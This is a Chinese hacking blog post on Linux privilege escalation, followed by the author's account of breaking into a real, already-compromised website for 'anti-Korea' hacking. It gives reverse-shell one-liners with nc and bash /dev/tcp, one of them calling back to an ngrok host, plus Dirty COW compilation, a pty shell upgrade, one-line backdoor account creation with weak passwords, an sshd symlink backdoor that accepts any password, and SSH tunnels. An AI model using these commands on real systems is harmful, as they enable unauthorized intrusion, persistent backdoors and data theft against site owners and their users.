欢迎来到【血梦博客】 今天是:2021年03月05日 星期五
站长联系QQ:635948183
当前位置: 网站首页> 提权教程> Linux提权思路+实战

Linux提权思路+实战

作者:血梦 日期:2018-10-21 浏览:2124分类: 提权教程 已提交百度收录

前言

首先关于Linux提权我们得先明白几个概念。

linux发行版本

是我们常说的Linux操作系统,也即是由Linux内核与各种常用软件的集合产品,全球大约有数百款的Linux系统版本,每个系统版本都有自己的特性和目标人群, 例如:

  • CentOS
  • redhat
  • ubuntu
  • kali

linux内核

Linux系统内核指的是一个由Linus Torvalds负责维护,提供硬件抽象层、硬盘及文件系统控制及多任务功能的系统核心程序。


  1. linux内核版本的分类
  2. Linux内核版本有两种:稳定版和开发版 ,Linux内核版本号由3组数字组成:第一个组数字.第二组数字.第三组数字
  3. 第一个组数字:目前发布的内核主版本。
  4. 第二个组数字:偶数表示稳定版本;奇数表示开发中版本。
  5. 第三个组数字:错误修补的次数。

正文

内核漏洞提权

说到内核提权就得提到脏牛了,这里先放一放,讲讲常规思路。

查看发行版本


  1. cat /etc/issue
  2. cat /etc/*-release

查看内核版本


  1. uname -a
  2. root@kali:~# uname -a
  3. Linux kali 4.9.0-kali3-amd64 #1 SMP Debian 4.9.18-1kali1 (2017-04-04) x86_64 GNU/Linux

这样我们就得到了系统的内核版本

可以用kali自带的searchsploit来搜索exploitdb中的漏洞利用代码

searchsploit linux Debian 4

 

 

反弹shell

如果手里只有webshell可以利用反弹shell来得到一个shell

首先我们得有一个netcat

开启本地监听


  1. # 开启本地8080端口监听,并将本地的bash发布出去。
  2. nc -lvvp 8080 -t -e /bin/bash

直接连接目标主机

nc 192.168.1.1 8000

 

 

bash直接反弹

bash一句话shell反弹:个人感觉最好用的用的方法就是使用的方法就是使用bash结合重定向方法的一句话,具体命令如下。

(1) bash反弹一句话


  1. bash -i >& /dev/tcp/192.168.1.1/8080 0>&1
  2. 本地 nc -l -p 8080

(2)bash一句话命令详解

以下针对常用的bash反弹一句话进行了拆分说明,具体内容如下。

其实以上bash反弹一句完整的解读过程就是:

bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。

具体各种反弹shell方式可参照安全客linux各种一句话反弹shell总结https://www.anquanke.com/post/id/87017

 

 

脏牛提权

参考链接:https://blog.csdn.net/DarkHQ/article/details/79222879

POC:https://github.com/FireFart/dirtycow

利用gcc编译dirty.c文件

gcc -pthread dirty.c -o dirty -lcrypt 

反弹shell

python 一句话获取标准shell

python -c "import pty;pty.spawn('/bin/bash')"

命令详解:python 默认就包含有一个pty的标准库

 

 

 

linux 一句话添加账号

 

(1)chpasswd 方法

 

# useradd guest;echo 'guest:123456'|chpasswd

 

(2)useradd -p 方法

 

# useradd -p `openssl passwd 123456` guest

 

(3)echo -e 方法

 

# useradd test;echo -e "123456n123456n" |passwd test

 

内网穿透

 

没有外网IP的我只能搞内网映射了

 

参考链接http://tieba.baidu.com/p/4604965053

 

官网地址https://ngrok.com/

 

注册一个账号设置好

 

./ngrok tcp 9999 

 

获得一个公网地址

 

screen命令

 

语法

 

screen [zxsq-anti-bbcode--AmRvx -ls -wipe][zxsq-anti-bbcode--d <作业名称>][zxsq-anti-bbcode--h <行数>][zxsq-anti-bbcode--r <作业名称>][zxsq-anti-bbcode--s ][zxsq-anti-bbcode--S <作业名称>]

 

选项

 


  1. -A  将所有的视窗都调整为目前终端机的大小。
  2. -d <作业名称>  将指定的screen作业离线。
  3. -h <行数>  指定视窗的缓冲区行数。
  4. -m  即使目前已在作业中的screen作业,仍强制建立新的screen作业。
  5. -r <作业名称>  恢复离线的screen作业。
  6. -R  先试图恢复离线的作业。若找不到离线的作业,即建立新的screen作业。
  7. -s  指定建立新视窗时,所要执行的shell。
  8. -S <作业名称>  指定screen作业的名称。
  9. -v  显示版本信息。
  10. -x  恢复之前离线的screen作业。
  11. -ls或--list  显示目前所有的screen作业。
  12. -wipe  检查目前所有的screen作业,并删除已经无法使用的screen作业。

 

常用screen参数

 


  1. screen -S yourname -> 新建一个叫yourname的session
  2. screen -ls -> 列出当前所有的session
  3. screen -r yourname -> 回到yourname这个session
  4. screen -d yourname -> 远程detach某个session
  5. screen -d -r yourname -> 结束当前session并回到yourname这个session

 

例子

 


  1. #创建名称为 ssh的回话
  2. screen -S lego
  3. #连接ngrok
  4. ./ngrok tcp 9999
  5. #退出到命令行
  6. ctl+A+D
  7. #查看回话
  8. screen -ls
  9. #登录到我刚刚创建的ssh
  10. screen -r lego

 

ssh相关

 

Linux后门

 

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555; 

 

经典后门。直接对sshd建立软连接,之后用任意密码登录即可

 

ssh -o "StrictHostKeyChecking no" -o UserKnownHostsFile=/dev/null -T -fND 192.168.0.110:8888 mail@127.0.0.1 -o 31337

 

ssh -o "StrictHostKeyChecking no"  -T -fNR 8888:192.168.0.110:8888 proxy@公网ip

 

我不是黑阔

 

前言

 

 

编程玩的在好,我也不能写出完美的爱情

 

渗透玩的在强,我也不能提权进你的心

 

免杀玩的在狠,我也过不了你的主防御

 

纵使我多么的不可一世,也不是你的admin

 

会的再多又怎么样?没有了你,我就是一无所有

 

正文

 

抗韩之路

 

身为一名黑阔,

 

总是会不进想起前辈们的中美黑客大战。

 

物是人非事事休,

 

欲语泪先流。

 

想起那时候的一个个黑页,

 

内心突然澎湃了起来。

 

放我出去,我要日站。

 

身为一名黑阔,我明白我的责任所在。

 

就在这时,我盯上了一个之前早已沦陷的站。

 

就在这一刻我明白,肩上扛负着什么---抗韩从日站做起。

 

挂黑页 脱裤子 已经满足不了我了。

 

我需要的是你的所有。

 

提权

 

有了webshell之后,我看了一下我的权限。

 

不够不够不够。我需要的是你的root。

 

看发行版本,看内核。

 

原来是古物。

 

脏牛走起

 

 

提权成功。

 

但是由于菜刀的webshell并非是真实的shell,我无法切换到root用户。

 

所以我要反弹shell出来。

 

内网映射

 

身为一名黑阔,突然发现我竟然连个外网IP都没有。

 

在成为一名黑阔的路上,有条件要上,没有条件创造条件也要上。

 

没有外网就内网映射

 

我在https://ngrok.com/上注册了一个账号

 

ngrok启动

 

 

反弹shell

 


  1. bash -i >& /dev/tcp/0.tcp.ngrok.io/15234 0>&1
  2. kali上   nc -l -p 9998

 

 

然后再获得一个标准shell

 

python -c "import pty;pty.spawn('/bin/bash')"

 

切换到DarkHQ

 

 

看看权限

 

这个时候我是SSH是连不上去的,因为他禁了root权限登入ssh,所以我新建了一个用户

 

即上面那句

 

useradd guest;echo 'guest:123456'|chpasswd

 

ssh连上普通账户

 

再切换到root账户

关灯